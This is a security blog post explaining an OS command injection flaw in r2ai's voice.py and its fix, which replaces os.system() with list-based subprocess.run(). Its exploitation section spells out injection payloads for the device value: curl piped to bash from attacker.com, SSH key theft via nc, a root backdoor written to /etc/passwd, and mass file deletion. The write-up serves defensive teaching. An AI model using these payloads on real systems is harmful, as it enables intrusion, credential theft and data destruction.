Back to Blog
critical SEVERITY7 min read

Shell Injection via os.system(): How a Single Line of Code Can Compromise Your System

A critical OS command injection vulnerability (CWE-78) was discovered and patched in `voice.py`, where user-controlled input was interpolated directly into a shell command string passed to `os.system()`. An attacker who could influence the `device` variable — through a config file, environment variable, or any external input — could execute arbitrary system commands with the full privileges of the running process. The fix replaces the dangerous `os.system()` calls with Python's `subprocess.run()

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 28, 2026•Reviewed June 3, 2026

Answer Summary

This is an OS command injection vulnerability (CWE-78) in Python's `voice.py`, where the `device` variable — potentially attacker-controlled through a config file or environment variable — was interpolated directly into a shell command string passed to `os.system()`. The fix replaces all dangerous `os.system()` calls with `subprocess.run()` using a list-based argument form, which bypasses the shell entirely and neutralizes the injection vector. Developers should never pass user-influenced strings to `os.system()` or any shell-invoking API without strict validation and argument list separation.

Vulnerability at a Glance

cweCWE-78
fixReplaced `os.system()` with `subprocess.run()` using a list-based argument form to bypass shell interpretation
riskArbitrary system command execution with process-level privileges
languagePython
root causeUser-controlled `device` variable interpolated into a shell command string passed to `os.system()`
vulnerabilityOS Command Injection

Introduction

It's one of the most deceptively simple mistakes in Python programming: passing a string built from external input directly to os.system(). It looks harmless. It works perfectly during development. And under the right conditions, it hands an attacker the keys to your entire system.

This post breaks down a critical OS command injection vulnerability (CWE-78) discovered in Attic/py/r2ai/voice.py, explains how it could be exploited, and walks through the clean, modern fix that eliminates the risk entirely.

Whether you're a seasoned systems programmer or just getting started with Python security, this is a pattern you'll want to recognize immediately.


The Vulnerability Explained

What Is OS Command Injection?

OS command injection — catalogued as CWE-78: Improper Neutralization of Special Elements used in an OS Command — occurs when an application constructs a shell command using data it doesn't fully control, then passes that string to a shell for execution.

The shell is a powerful interpreter. It understands metacharacters like ;, &&, |, $(), and backticks. If any of those characters sneak into your command string, the shell will happily execute whatever follows them — regardless of your intent.

The Vulnerable Code

Here's the code that triggered the critical finding:

# VULNERABLE - Do not use this pattern
os.system("rm -f .audiomsg.wav")
rc = os.system(f"ffmpeg -f avfoundation -t 5 -i '{device}' .audiomsg.wav > /dev/null 2>&1")

The device variable is interpolated directly into an f-string, which is then passed as a single shell command string to os.system(). The single quotes around '{device}' might look like protection — but they're not. A single quote in the device value itself breaks out of that quoting context entirely.

How Could It Be Exploited?

The exploitability depends on where device comes from. In an AI assistant tool like r2ai, device likely originates from:

  • A configuration file read at startup
  • An environment variable
  • User input provided during setup or runtime

If an attacker can influence any of these sources, the attack is straightforward.

Attack Scenario: Malicious Configuration File

Imagine a user downloads a shared r2ai configuration file (a common workflow in AI tooling communities). That config file sets the audio device to:

' ; curl -s https://attacker.com/payload.sh | bash ; echo '

When voice.py runs, the shell receives:

ffmpeg -f avfoundation -t 5 -i '' ; curl -s https://attacker.com/payload.sh | bash ; echo '' .audiomsg.wav > /dev/null 2>&1

The shell dutifully executes three commands:
1. ffmpeg (fails harmlessly)
2. curl ... | bash — downloads and executes arbitrary code
3. echo (cleans up the command line)

The r2ai process's output looks normal. The user sees a microphone error. Meanwhile, a reverse shell or data exfiltration script runs silently in the background.

Other Injection Payloads

The attack surface is broad. Other examples of malicious device values:

# Exfiltrate SSH keys
' && cat ~/.ssh/id_rsa | nc attacker.com 4444 && echo '

# Create a backdoor user
' ; echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd ; echo '

# Ransomware-style destruction
' ; find ~ -name "*.py" -delete ; echo '

Real-World Impact

The severity here is critical because:

  • No authentication required — if the attacker controls the config file or environment, they're already in
  • Full process privileges — commands run as whatever user launched r2ai
  • Silent execution — stdout and stderr are redirected to /dev/null, hiding all evidence
  • Broad attack surface — config files, env vars, and user input are all common vectors in AI tooling

The Fix

What Changed

The fix replaces both os.system() calls with safer alternatives:

Before (vulnerable):

os.system("rm -f .audiomsg.wav")
rc = os.system(f"ffmpeg -f avfoundation -t 5 -i '{device}' .audiomsg.wav > /dev/null 2>&1")

After (secure):

try:
    os.remove(".audiomsg.wav")
except OSError:
    pass

result = subprocess.run(
    ["ffmpeg", "-f", "avfoundation", "-t", "5", "-i", device, ".audiomsg.wav"],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL
)
rc = result.returncode

Why This Fix Works

1. Arguments as a List — No Shell Involved

The most important change is passing a list of strings to subprocess.run() instead of a single command string.

When you pass a list, Python uses execvp() (or its Windows equivalent) to launch the process directly, bypassing the shell entirely. There is no shell to interpret metacharacters. The device value is passed as a literal argument to ffmpeg — nothing more, nothing less.

# Shell IS invoked — dangerous with untrusted input
os.system(f"ffmpeg ... -i '{device}' ...")

# Shell is NOT invoked — device is just a string argument
subprocess.run(["ffmpeg", ..., "-i", device, ...])

Even if device contains ;, &&, |, or any other shell metacharacter, ffmpeg receives it as a literal filename string. Injection is impossible.

2. os.remove() Replaces os.system("rm -f ...")

The rm -f .audiomsg.wav call was also replaced with os.remove() wrapped in a try/except OSError. This is:

  • Cross-platform (works on Windows, where rm doesn't exist)
  • Shell-free (no subprocess spawned at all)
  • Pythonic (uses the standard library as intended)
  • Safe (the OSError catch handles the "file doesn't exist" case that -f previously suppressed)

3. Output Redirection Done Properly

The original code used shell redirection (> /dev/null 2>&1) to suppress ffmpeg's output. The fix uses subprocess.DEVNULL, which achieves the same result without a shell:

result = subprocess.run(
    [...],
    stdout=subprocess.DEVNULL,  # Replaces > /dev/null
    stderr=subprocess.DEVNULL   # Replaces 2>&1
)

4. Return Code Handling Preserved

The fix correctly captures the return code via result.returncode, maintaining the existing error-handling logic downstream.


Conclusion

A single f-string interpolation into os.system() — a pattern that appears in thousands of Python scripts across the internet — was all it took to create a critical command injection vulnerability. The fix required fewer lines than the original code and is cleaner, more Pythonic, and cross-platform.

The key takeaways:

  1. os.system() with dynamic input is almost always wrong. Use subprocess.run() with a list.
  2. Shell quoting is not a reliable defense. Characters like ' can break out of quoted contexts.
  3. Static analysis tools like Bandit catch this instantly. Add them to your CI pipeline.
  4. The fix is simple and has zero performance cost. There's no reason not to do it right.

Security vulnerabilities in developer tooling — especially AI assistants that users trust with system access — can have outsized impact. A compromised r2ai instance could exfiltrate code, credentials, or conversation history. Taking five minutes to use subprocess.run() correctly is one of the highest-ROI security investments you can make.

Write code as if every external value is malicious. Because sometimes, it is.


This vulnerability was identified and patched by OrbisAI Security. Automated security scanning and remediation helps teams catch critical issues before they reach production.

Prevention and further reading

Related Articles

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.

critical

No Rate Limit on /api/uploads/presign Enables DoS

The `/api/uploads/presign` endpoint accepted unlimited concurrent requests to generate storage presigned URLs, giving an attacker a free lever to exhaust storage-provider quotas and server resources. The fix adds an `express-rate-limit` middleware capping each client to 30 requests per minute on that route.

high

CVE-2026-54673: builder-util-runtime Leaks Auth Headers on Redirect

electron-updater and electron-builder rely on builder-util-runtime to fetch update manifests and artifacts over HTTP. A flaw in that shared HTTP executor allowed credential headers attached to the original update-feed request to be re-sent after a redirect, exposing them to any host the redirect pointed to. The project fixes this by upgrading builder-util-runtime to 9.7.0 and collapsing a duplicate, older copy of the package that electron-updater had pinned on its own.

high

image-size 1.2.1 DoS: Zero-Valued Dimensions in Image Buffer Parser

A high-severity denial-of-service vulnerability in image-size 1.2.1 allows attackers to crash Node.js services using malicious image buffers with zero-valued dimensions. The fix removes the vulnerable `queue` dependency and tightens dimension validation in version 2.0.3.